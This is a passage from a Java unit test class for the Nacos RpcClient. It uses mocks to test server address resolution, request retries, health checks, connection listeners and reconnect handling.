RpcClient.class.getDeclaredMethod(\"resolveServerInfo\", String.class);\n        resolveServerInfoMethod.setAccessible(true);\n        \n        healthCheck = RpcClient.class.getDeclaredMethod(\"healthCheck\");\n        healthCheck.setAccessible(true);\n        \n        runAsSync = invocationOnMock -> {\n            Runnable runnable = (Runnable) invocationOnMock.getArguments()[0];\n            runnable.run();\n            return null;\n        };\n        \n        notInvoke = invocationOnMock -> null;\n    }\n    \n    @AfterEach\n    void tearDown() throws IllegalAccessException, NacosException {\n        rpcClientConfig.labels().clear();\n        rpcClient.rpcClientStatus.set(RpcClientStatus.WAIT_INIT);\n        serverListFactoryField.set(rpcClient, null);\n        ((Queue<?>) reconnectionSignalField.get(rpcClient)).clear();\n        rpcClient.currentConnection = null;\n        System.clearProperty(\"nacos.server.port\");\n        rpcClient.eventLinkedBlockingQueue.clear();\n        rpcClient.shutdown();\n    }\n    \n    @Test\n    void testInitServerListFactory() {\n        rpcClient.rpcClientStatus.set(RpcClientStatus.WAIT_INIT);\n        rpcClient.serverListFactory(serverListFactory);\n        assertEquals(RpcClientStatus.INITIALIZED, rpcClient.rpcClientStatus.get());\n        \n        rpcClient.rpcClientStatus.set(RpcClientStatus.INITIALIZED);\n        rpcClient.serverListFactory(serverListFactory);\n        assertEquals(RpcClientStatus.INITIALIZED, rpcClient.rpcClientStatus.get());\n        \n        RpcClient client1 = new RpcClient(new RpcClientConfig() {\n            @Override\n            public String name() {\n                return \"test\";\n            }\n            \n            @Override\n            public int retryTimes() {\n                return 3;\n            }\n            \n            @Override\n            public long timeOutMills() {\n                return 3000L;\n            }\n            \n            @Override\n            public long connectionKeepAlive() {\n                return 5000L;\n            }\n            \n            @Override\n            public int healthCheckRetryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long healthCheckTimeOut() {\n                return 3000L;\n            }\n            \n            @Override\n            public Map<String, String> labels() {\n                return new HashMap<>();\n            }\n        }, serverListFactory) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return null;\n            }\n        };\n        assertEquals(RpcClientStatus.INITIALIZED, client1.rpcClientStatus.get());\n        \n        RpcClient client2 = new RpcClient(rpcClientConfig, serverListFactory) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return null;\n            }\n        };\n        assertEquals(RpcClientStatus.INITIALIZED, client2.rpcClientStatus.get());\n    }\n    \n    @Test\n    void testLabels() {\n        when(rpcClientConfig.labels()).thenReturn(Collections.singletonMap(\"labelKey1\", \"labelValue1\"));\n        Map.Entry<String, String> element = rpcClient.getLabels().entrySet().iterator().next();\n        assertEquals(\"labelKey1\", element.getKey());\n        assertEquals(\"labelValue1\", element.getValue());\n        \n        // accumulate labels\n        Map<String, String> map = new HashMap<>();\n        map.put(\"labelKey2\", \"labelValue2\");\n        when(rpcClientConfig.labels()).thenReturn(map);\n        assertEquals(1, rpcClient.getLabels().size());\n        assertEquals(\"test\", rpcClient.getName());\n    }\n    \n    @Test\n    void testOnServerListChangeWhenCurrentConnectionIsNullThenDoNothing() throws IllegalAccessException {\n        int beforeSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        rpcClient.serverListFactory(serverListFactory);\n        \n        rpcClient.onServerListChange();\n        \n        int afterSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        assertEquals(beforeSize, afterSize);\n    }\n    \n    @Test\n    void testOnServerListChangeWhenServiceInfoIsNullThenDoNothing() throws IllegalAccessException {\n        int beforeSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        rpcClient.currentConnection = mock(Connection.class);\n        \n        rpcClient.onServerListChange();\n        \n        int afterSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        assertEquals(beforeSize, afterSize);\n    }\n    \n    @Test\n    void testOnServerListChangeWhenCurrentConnectionIsNotInServerListThenSwitchServerAsync() throws IllegalAccessException {\n        final int beforeSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        rpcClient.serverListFactory(serverListFactory);\n        rpcClient.currentConnection = new GrpcConnection(new RpcClient.ServerInfo(\"10.10.10.10\", 8848), null);\n        doReturn(Collections.singletonList(\"\")).when(serverListFactory).getServerList();\n        when(serverListFactory.getServerList()).thenReturn(Collections.singletonList(\"127.0.0.1\"));\n        rpcClient.onServerListChange();\n        \n        int afterSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        assertEquals(beforeSize + 1, afterSize);\n    }\n    \n    @Test\n    void testOnServerListChangeWhenCurrentConnectionIsInServerListThenDoNothing() throws IllegalAccessException {\n        final int beforeSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        rpcClient.serverListFactory(serverListFactory);\n        rpcClient.currentConnection = new GrpcConnection(new RpcClient.ServerInfo(\"10.10.10.10\", 8848), null);\n        doReturn(Collections.singletonList(\"http://10.10.10.10:8848\")).when(serverListFactory).getServerList();\n        rpcClient.onServerListChange();\n        \n        int afterSize = ((Queue<?>) reconnectionSignalField.get(rpcClient)).size();\n        assertEquals(beforeSize, afterSize);\n    }\n    \n    @Test\n    void testResolveServerInfo1() throws InvocationTargetException, IllegalAccessException {\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"10.10.10.10::8848\")).getAddress());\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"10.10.10.10:8848\")).getAddress());\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"http://10.10.10.10:8848\")).getAddress());\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"http://10.10.10.10::8848\")).getAddress());\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"http://10.10.10.10\")).getAddress());\n        assertEquals(\"10.10.10.10:8848\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"https://10.10.10.10::8848\")).getAddress());\n    }\n    \n    @Test\n    void testResolveServerInfo2() throws InvocationTargetException, IllegalAccessException {\n        System.setProperty(\"nacos.server.port\", \"4424\");\n        assertEquals(\"10.10.10.10:4424\",\n                ((RpcClient.ServerInfo) resolveServerInfoMethod.invoke(rpcClient, \"http://10.10.10.10\")).getAddress());\n    }\n    \n    @Test\n    void testRequestSuccess() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        rpcClient.currentConnection = connection;\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        when(connection.request(any(), anyLong())).thenReturn(new HealthCheckResponse());\n        Field lastActiveTimeStampField = RpcClient.class.getDeclaredField(\"lastActiveTimeStamp\");\n        lastActiveTimeStampField.setAccessible(true);\n        final long lastActiveTimeStamp = (long) lastActiveTimeStampField.get(rpcClient);\n        Response response = rpcClient.request(new HealthCheckRequest());\n        assertTrue(response instanceof HealthCheckResponse);\n        assertTrue(lastActiveTimeStamp <= (long) lastActiveTimeStampField.get(rpcClient));\n    }\n    \n    @Test\n    void testRequestWithoutAnyTry() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            when(rpcClientConfig.retryTimes()).thenReturn(-1);\n            rpcClient.request(null);\n        });\n    }\n    \n    @Test\n    void testRequestWhenClientAlreadyShutDownThenThrowException() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            rpcClient.rpcClientStatus.set(RpcClientStatus.SHUTDOWN);\n            rpcClient.currentConnection = connection;\n            rpcClient.request(null);\n        });\n    }\n    \n    @Test\n    void testRequestWhenTimeoutThenThrowException() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n            rpcClient.currentConnection = connection;\n            doReturn(null).when(connection).request(any(), anyLong());\n            rpcClient.request(null, 10000);\n        });\n    }\n    \n    @Test\n    void testRequestWhenResponseErrorThenThrowException() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n            rpcClient.currentConnection = connection;\n            doReturn(new ErrorResponse()).when(connection).request(any(), anyLong());\n            rpcClient.request(null, 10000);\n        });\n    }\n    \n    @Test\n    void testRequestWhenResponseUnregisterThenSwitchServer() throws NacosException {\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        rpcClient.currentConnection = connection;\n        ErrorResponse errorResponse = new ErrorResponse();\n        errorResponse.setErrorCode(NacosException.UN_REGISTER);\n        doReturn(errorResponse).when(connection).request(any(), anyLong());\n        Exception exception = null;\n        \n        try {\n            rpcClient.request(mock(Request.class), 10000);\n        } catch (Exception e) {\n            exception = e;\n        }\n        \n        assertEquals(RpcClientStatus.UNHEALTHY, rpcClient.rpcClientStatus.get());\n        verify(rpcClient).switchServerAsync();\n        assertNotNull(exception);\n    }\n    \n    @Test\n    void testAsyncRequestSuccess() throws NacosException {\n        rpcClient.currentConnection = connection;\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        RequestCallBack<?> requestCallBack = mock(RequestCallBack.class);\n        when(requestCallBack.getTimeout()).thenReturn(1000L);\n        rpcClient.asyncRequest(null, requestCallBack);\n        verify(connection).asyncRequest(any(), any());\n    }\n    \n    @Test\n    void testAsyncRequestWithoutAnyTry() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            when(rpcClientConfig.retryTimes()).thenReturn(-1);\n            rpcClient.asyncRequest(null, null);\n        });\n    }\n    \n    @Test\n    void testAsyncRequestWhenClientAlreadyShutDownThenThrowException() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            rpcClient.rpcClientStatus.set(RpcClientStatus.SHUTDOWN);\n            rpcClient.currentConnection = connection;\n            RequestCallBack<?> requestCallBack = mock(RequestCallBack.class);\n            doReturn(10000L).when(requestCallBack).getTimeout();\n            rpcClient.asyncRequest(null, requestCallBack);\n        });\n    }\n    \n    @Test\n    void testAsyncRequestWhenSendRequestFailedMannyTimesThenSwitchServer() throws NacosException {\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        rpcClient.currentConnection = connection;\n        doThrow(new NacosException()).when(connection).asyncRequest(any(), any());\n        RequestCallBack<?> requestCallBack = mock(RequestCallBack.class);\n        doReturn(10000L).when(requestCallBack).getTimeout();\n        Exception exception = null;\n        \n        try {\n            rpcClient.asyncRequest(null, requestCallBack);\n        } catch (NacosException e) {\n            exception = e;\n        }\n        \n        verify(connection, atLeastOnce()).asyncRequest(any(), any());\n        verify(rpcClient).switchServerAsyncOnRequestFail();\n        assertNotNull(exception);\n        assertEquals(RpcClientStatus.UNHEALTHY, rpcClient.rpcClientStatus.get());\n    }\n    \n    @Test\n    void testRequestFutureWithoutAnyTry() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            when(rpcClientConfig.retryTimes()).thenReturn(-1);\n            rpcClient.requestFuture(null);\n        });\n    }\n    \n    @Test\n    void testRequestFutureWhenClientAlreadyShutDownThenThrowException() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            rpcClient.rpcClientStatus.set(RpcClientStatus.SHUTDOWN);\n            rpcClient.currentConnection = connection;\n            rpcClient.requestFuture(null);\n        });\n    }\n    \n    @Test\n    void testRequestFutureWhenRetryReachMaxRetryTimesThenSwitchServer() throws NacosException {\n        when(rpcClientConfig.timeOutMills()).thenReturn(5000L);\n        when(rpcClientConfig.retryTimes()).thenReturn(3);\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        rpcClient.currentConnection = connection;\n        doThrow(NacosException.class).when(connection).requestFuture(any());\n        Exception exception = null;\n        \n        try {\n            rpcClient.requestFuture(null);\n        } catch (NacosException e) {\n            exception = e;\n        }\n        \n        verify(connection, times(4)).requestFuture(any());\n        verify(rpcClient).switchServerAsyncOnRequestFail();\n        assertNotNull(exception);\n        assertEquals(RpcClientStatus.UNHEALTHY, rpcClient.rpcClientStatus.get());\n    }\n    \n    @Test\n    void testRpcClientShutdownWhenClientDidntStart() throws NacosException {\n        RpcClient rpcClient = new RpcClient(new RpcClientConfig() {\n            @Override\n            public String name() {\n                return \"test-client\";\n            }\n            \n            @Override\n            public int retryTimes() {\n                return 3;\n            }\n            \n            @Override\n            public long timeOutMills() {\n                return 3000L;\n            }\n            \n            @Override\n            public long connectionKeepAlive() {\n                return 5000L;\n            }\n            \n            @Override\n            public int healthCheckRetryTimes() {\n                return 1;\n            }\n            \n            @Override\n            public long healthCheckTimeOut() {\n                return 3000L;\n            }\n            \n            @Override\n            public Map<String, String> labels() {\n                return new HashMap<>();\n            }\n        }) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return null;\n            }\n        };\n        \n        rpcClient.shutdown();\n        assertTrue(rpcClient.isShutdown());\n    }\n    \n    @Test\n    void testHealthCheck() throws IllegalAccessException, NacosException {\n        Random random = new Random();\n        int retry = random.nextInt(10);\n        when(rpcClientConfig.healthCheckRetryTimes()).thenReturn(retry);\n        rpcClient.rpcClientStatus.set(RpcClientStatus.RUNNING);\n        rpcClient.currentConnection = connection;\n        doThrow(new NacosException()).when(connection).request(any(), anyLong());\n        try {\n            healthCheck.invoke(rpcClient);\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        }\n        verify(connection, times(retry + 1)).request(any(), anyLong());\n    }\n    \n    @Test\n    void testNextRpcServerForIpv4WithPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:7777\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"127.0.0.1:7777\", actual.getAddress());\n        assertEquals(\"127.0.0.1\", actual.getServerIp());\n        assertEquals(7777, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForIpv4WithoutPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"127.0.0.1:8848\", actual.getAddress());\n        assertEquals(\"127.0.0.1\", actual.getServerIp());\n        assertEquals(8848, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForIpv6WithPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"[fe80::35ba:6827:c5ff:d161%11]:7777\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"[fe80::35ba:6827:c5ff:d161%11]:7777\", actual.getAddress());\n        assertEquals(\"[fe80::35ba:6827:c5ff:d161%11]\", actual.getServerIp());\n        assertEquals(7777, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForIpv6WithoutPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"[fe80::35ba:6827:c5ff:d161%11]\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"[fe80::35ba:6827:c5ff:d161%11]:8848\", actual.getAddress());\n        assertEquals(\"[fe80::35ba:6827:c5ff:d161%11]\", actual.getServerIp());\n        assertEquals(8848, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForDomainWithPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"nacos.io:7777\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"nacos.io:7777\", actual.getAddress());\n        assertEquals(\"nacos.io\", actual.getServerIp());\n        assertEquals(7777, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForDomainWithoutPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"nacos.io\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"nacos.io:8848\", actual.getAddress());\n        assertEquals(\"nacos.io\", actual.getServerIp());\n        assertEquals(8848, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForLocalhostWithPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"localhost:7777\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"localhost:7777\", actual.getAddress());\n        assertEquals(\"localhost\", actual.getServerIp());\n        assertEquals(7777, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForLocalhostWithoutPort() {\n        RpcClient rpcClient = buildTestNextRpcServerClient();\n        rpcClient.serverListFactory(serverListFactory);\n        when(serverListFactory.genNextServer()).thenReturn(\"localhost\");\n        RpcClient.ServerInfo actual = rpcClient.nextRpcServer();\n        assertEquals(\"localhost:8848\", actual.getAddress());\n        assertEquals(\"localhost\", actual.getServerIp());\n        assertEquals(8848, actual.getServerPort());\n    }\n    \n    @Test\n    void testNextRpcServerForEmpty() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            RpcClient rpcClient = buildTestNextRpcServerClient();\n            rpcClient.serverListFactory(serverListFactory);\n            when(serverListFactory.genNextServer()).thenReturn(\"\");\n            rpcClient.nextRpcServer();\n        });\n    }\n    \n    private RpcClient buildTestNextRpcServerClient() {\n        return new RpcClient(DefaultGrpcClientConfig.newBuilder().build()) {\n            @Override\n            public ConnectionType getConnectionType() {\n                return null;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return null;\n            }\n            \n            @Override\n            public ServerInfo nextRpcServer() {\n                return super.nextRpcServer();\n            }\n        };\n    }\n    \n    @Test\n    void testHandleServerRequestWhenExceptionThenThrowException() throws RuntimeException {\n        assertThrows(RuntimeException.class, () -> {\n            RpcClient rpcClient = buildTestNextRpcServerClient();\n            Request request = new Request() {\n                @Override\n                public String getModule() {\n                    return null;\n                }\n            };\n            rpcClient.serverRequestHandlers.add((req, conn) -> {\n                throw new RuntimeException();\n            });\n            rpcClient.handleServerRequest(request);\n        });\n    }\n    \n    @Test\n    void testNotifyDisConnectedForEmpty() {\n        rpcClient.notifyDisConnected(null);\n        verify(rpcClientConfig, never()).name();\n    }\n    \n    @Test\n    void testNotifyDisConnected() {\n        ConnectionEventListener listener = mock(ConnectionEventListener.class);\n        rpcClient.registerConnectionListener(listener);\n        rpcClient.notifyDisConnected(null);\n        verify(listener).onDisConnect(null);\n        verify(rpcClientConfig, times(2)).name();\n    }\n    \n    @Test\n    void testNotifyDisConnectedException() {\n        ConnectionEventListener listener = mock(ConnectionEventListener.class);\n        rpcClient.registerConnectionListener(listener);\n        doThrow(new RuntimeException(\"test\")).when(listener).onDisConnect(null);\n        rpcClient.notifyDisConnected(null);\n        verify(rpcClientConfig, times(3)).name();\n    }\n    \n    @Test\n    void testNotifyConnectedForEmpty() {\n        rpcClient.notifyConnected(null);\n        verify(rpcClientConfig, never()).name();\n    }\n    \n    @Test\n    void testNotifyConnected() {\n        ConnectionEventListener listener = mock(ConnectionEventListener.class);\n        rpcClient.registerConnectionListener(listener);\n        rpcClient.notifyConnected(null);\n        verify(listener).onConnected(null);\n        verify(rpcClientConfig, times(2)).name();\n    }\n    \n    @Test\n    void testNotifyConnectedException() {\n        ConnectionEventListener listener = mock(ConnectionEventListener.class);\n        rpcClient.registerConnectionListener(listener);\n        doThrow(new RuntimeException(\"test\")).when(listener).onConnected(null);\n        rpcClient.notifyConnected(null);\n        verify(rpcClientConfig, times(3)).name();\n    }\n    \n    @Test\n    void testStartClient() throws NacosException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(new Function<RpcClient.ServerInfo, Connection>() {\n            \n            private int count;\n            \n            @Override\n            public Connection apply(RpcClient.ServerInfo serverInfo) {\n                if (count == 0) {\n                    count++;\n                    throw new RuntimeException(\"test\");\n                }\n                return connection;\n            }\n        });\n        try {\n            rpcClient.start();\n            assertTrue(rpcClient.isRunning());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testStartClientWithFailed() throws NacosException, InterruptedException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        try {\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(1000);\n            assertFalse(rpcClient.isRunning());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testStartClientAfterShutdown() throws NacosException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        rpcClient.shutdown();\n        rpcClient.start();\n        assertTrue(rpcClient.isShutdown());\n    }\n    \n    @Test\n    void testDisConnectionEventAfterStart() throws NacosException, InterruptedException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> connection);\n        ConnectionEventListener listener = mock(ConnectionEventListener.class);\n        rpcClient.registerConnectionListener(listener);\n        try {\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(100);\n            rpcClient.eventLinkedBlockingQueue.put(new RpcClient.ConnectionEvent(0, connection));\n            TimeUnit.MILLISECONDS.sleep(100);\n            verify(listener).onDisConnect(connection);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithNullConnection() throws NacosException, InterruptedException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        try {\n            when(rpcClientConfig.connectionKeepAlive()).thenReturn(-1L);\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(100);\n            verify(rpcClientConfig, never()).healthCheckRetryTimes();\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithConnectionHealthCheckFail() throws NacosException, InterruptedException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(new Function<RpcClient.ServerInfo, Connection>() {\n            \n            private int count;\n            \n            @Override\n            public Connection apply(RpcClient.ServerInfo serverInfo) {\n                if (count == 0) {\n                    count++;\n                    return connection;\n                }\n                return null;\n            }\n        });\n        try {\n            when(rpcClientConfig.connectionKeepAlive()).thenReturn(10L);\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(500);\n            assertEquals(RpcClientStatus.UNHEALTHY, rpcClient.rpcClientStatus.get());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithConnectionHealthCheckSuccess()\n            throws NacosException, InterruptedException, NoSuchFieldException, IllegalAccessException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> connection);\n        when(connection.request(any(Request.class), anyLong())).thenReturn(new HealthCheckResponse());\n        try {\n            Field lastActiveTimeStampField = RpcClient.class.getDeclaredField(\"lastActiveTimeStamp\");\n            lastActiveTimeStampField.setAccessible(true);\n            final long lastActiveTimeStamp = (long) lastActiveTimeStampField.get(rpcClient);\n            when(rpcClientConfig.connectionKeepAlive()).thenReturn(10L);\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(100);\n            assertEquals(RpcClientStatus.RUNNING, rpcClient.rpcClientStatus.get());\n            long newLastActiveTimeStamp = (long) lastActiveTimeStampField.get(rpcClient);\n            assertTrue(newLastActiveTimeStamp > lastActiveTimeStamp);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithActiveTimeIsNew()\n            throws NacosException, InterruptedException, NoSuchFieldException, IllegalAccessException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> connection);\n        try {\n            Field lastActiveTimeStampField = RpcClient.class.getDeclaredField(\"lastActiveTimeStamp\");\n            lastActiveTimeStampField.setAccessible(true);\n            long setTime = System.currentTimeMillis() + 10000;\n            lastActiveTimeStampField.set(rpcClient, setTime);\n            when(rpcClientConfig.connectionKeepAlive()).thenReturn(10L);\n            rpcClient.start();\n            TimeUnit.MILLISECONDS.sleep(100);\n            assertEquals(RpcClientStatus.RUNNING, rpcClient.rpcClientStatus.get());\n            long newLastActiveTimeStamp = (long) lastActiveTimeStampField.get(rpcClient);\n            assertEquals(setTime, newLastActiveTimeStamp);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithOldServiceInfo() throws NacosException, InterruptedException, IllegalAccessException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        when(serverListFactory.getServerList()).thenReturn(Collections.singletonList(\"127.0.0.1:8848\"));\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> connection);\n        try {\n            rpcClient.start();\n            RpcClient.ReconnectContext reconnectContext = new RpcClient.ReconnectContext(new RpcClient.ServerInfo(\"127.0.0.1\", 0),\n                    false);\n            ((BlockingQueue<RpcClient.ReconnectContext>) reconnectionSignalField.get(rpcClient)).put(reconnectContext);\n            TimeUnit.MILLISECONDS.sleep(100);\n            assertEquals(RpcClientStatus.RUNNING, rpcClient.rpcClientStatus.get());\n            assertEquals(8848, reconnectContext.serverInfo.serverPort);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectContextAfterStartWithNewServiceInfo() throws NacosException, InterruptedException, IllegalAccessException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        when(serverListFactory.getServerList()).thenReturn(Collections.singletonList(\"1.1.1.1:8848\"));\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> connection);\n        try {\n            rpcClient.start();\n            RpcClient.ReconnectContext reconnectContext = new RpcClient.ReconnectContext(new RpcClient.ServerInfo(\"127.0.0.1\", 0),\n                    false);\n            ((BlockingQueue<RpcClient.ReconnectContext>) reconnectionSignalField.get(rpcClient)).put(reconnectContext);\n            TimeUnit.MILLISECONDS.sleep(100);\n            assertEquals(RpcClientStatus.RUNNING, rpcClient.rpcClientStatus.get());\n            assertNull(reconnectContext.serverInfo);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testHandleConnectionResetRequestWithoutServer() throws NacosException, InterruptedException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\", \"1.1.1.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> {\n            connection.serverInfo = serverInfo;\n            return connection;\n        });\n        try {\n            rpcClient.start();\n            Response response = rpcClient.handleServerRequest(new ConnectResetRequest());\n            assertTrue(response instanceof ConnectResetResponse);\n            TimeUnit.MILLISECONDS.sleep(500);\n            assertEquals(\"1.1.1.1\", connection.serverInfo.getServerIp());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testHandleConnectionResetRequestWithServer() throws NacosException, InterruptedException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\", \"1.1.1.1:8848\");\n        List<String> serverList = new LinkedList<>();\n        serverList.add(\"127.0.0.1:8848\");\n        serverList.add(\"1.1.1.1:8848\");\n        serverList.add(\"2.2.2.2:8848\");\n        when(serverListFactory.getServerList()).thenReturn(serverList);\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> {\n            connection.serverInfo = serverInfo;\n            return connection;\n        });\n        try {\n            rpcClient.start();\n            ConnectResetRequest connectResetRequest = new ConnectResetRequest();\n            connectResetRequest.setServerIp(\"2.2.2.2\");\n            connectResetRequest.setServerPort(\"8848\");\n            Response response = rpcClient.handleServerRequest(connectResetRequest);\n            assertTrue(response instanceof ConnectResetResponse);\n            TimeUnit.MILLISECONDS.sleep(500);\n            assertEquals(\"2.2.2.2\", connection.serverInfo.getServerIp());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testHandleConnectionResetRequestWithException() throws NacosException, InterruptedException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\", \"1.1.1.1:8848\");\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        RpcClient rpcClient = 